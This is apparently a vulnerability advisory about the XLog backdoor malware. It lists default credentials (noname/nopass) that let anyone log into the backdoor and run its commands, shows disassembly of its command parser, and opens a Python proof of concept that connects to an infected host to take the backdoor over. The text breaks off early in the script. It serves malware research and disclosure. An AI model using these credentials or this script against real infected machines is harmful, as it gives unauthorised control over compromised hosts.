Third-party attackers who can reach the system before a password has been set can logon using default credentials of noname/nopass and run commands made avail by the backdoor including changing the password therby potentially locking out the original intruder. Incorrect username "victim|pass" we get Received invalid name parameter! Incorrect password "noname|pass" we get Received incorrect password from client! Sending correct noname|nopass creds we get no error. Next, we must send valid cmds using correct pipe delimiter or we will get "Received invalid parameter" errors. push offset aCmdChangepass ; "cmd changepass" 004018EA mov edx, [ebp+Str1] 004018ED push edx ; Str1 004018EE call _strcmp 004018F3 add esp, 8 004018F6 test eax, eax 004018F8 jnz loc_4019A6 004018FE lea eax, [ebp+Delimiter] 00401901 push eax ; Delimiter 00401902 push 0 ; String 00401904 call _strtok 00401909 add esp, 8 0040190C mov [ebp+Str1], eax 0040190F cmp [ebp+Str1], 0 00401913 jnz short loc_401930 00401915 push offset aReceivedInvali_4 ; "\r\nReceived invalid parameter (NULL) f"... 0040191A mov ecx, [ebp+s] 0040191D push ecx ; s 0040191E call sub_4019D9 Family: XLog Type: PE32 MD5: 2906b5dc5132dd1319827415e837168f Vuln ID: MVID-2022-0543 Disclosure: 04/06/2022 Exploit/PoC: from socket import * import time MALWARE_HOST="x.x.x.x" PORT=5553 def chk_res(s): res="" while True: res += s.recv(512) break if "\0" in res or "\n" in res or res == "": break return res def doit(): s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) #Change the backdoors password so we PWN it!.
